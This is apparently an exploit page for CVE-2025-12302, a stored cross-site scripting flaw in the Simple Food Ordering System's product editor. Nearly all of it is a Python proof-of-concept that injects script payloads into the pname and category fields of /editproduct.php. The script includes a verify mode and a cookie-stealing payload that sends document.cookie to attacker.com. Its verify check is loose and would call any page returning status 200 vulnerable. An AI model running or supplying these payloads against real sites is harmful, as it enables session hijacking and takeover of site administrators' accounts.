CVE-2025-12302 Simple Food Ordering System跨站脚本漏洞

import requests import sys # CVE-2025-12302 PoC - Simple Food Ordering System XSS # Target: /editproduct.php # Parameters: pname, category, price def exploit_xss(target_url, payload): """ Exploit for CVE-2025-12302 Injects XSS payload into product editing functionality """ # Target endpoint for product editing endpoint = f"{target_url}/editproduct.php" # XSS payload - can be customized based on attack goal xss_payload = "<script>alert('XSS Vulnerability Detected')</script>" # Malicious payload with cookie stealing capability cookie_steal_payload = f"<script>document.location='http://attacker.com/steal?c='+document.cookie</script>" # Prepare POST data with XSS payload data = { 'pname': xss_payload, # Product name parameter 'category': xss_payload, # Category parameter 'price': '99.99', # Price can also be exploited 'submit': 'Update Product' } try: # Send malicious request response = requests.post(endpoint, data=data, timeout=10) if response.status_code == 200: print(f"[+] XSS payload sent successfully to {endpoint}") print(f"[+] Payload: {xss_payload}") print("[*] When admin views the product, the script will execute") return True else: print(f"[-] Request failed with status: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False def verify_vulnerability(target_url): """ Verify if the target is vulnerable to CVE-2025-12302 """ verify_endpoint = f"{target_url}/editproduct.php" # Simple test payload test_payload = "<img src=x onerror=alert('VULNERABLE')>" data = { 'pname': test_payload, 'category': test_payload, 'price': '0.01', 'submit': 'Update Product' } try: response = requests.post(verify_endpoint, data=data, timeout=10) if test_payload in response.text or response.status_code == 200: print("[!] Target appears to be vulnerable") return True except: pass return False if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python cve-2025-12302.py <target_url> <action>") print("Example: python cve-2025-12302.py http://target.com exploit") sys.exit(1) target = sys.argv[1] action = sys.argv[2] if action == "exploit": exploit_xss(target, "<script>alert('XSS')</script>") elif action == "verify": verify_vulnerability(target)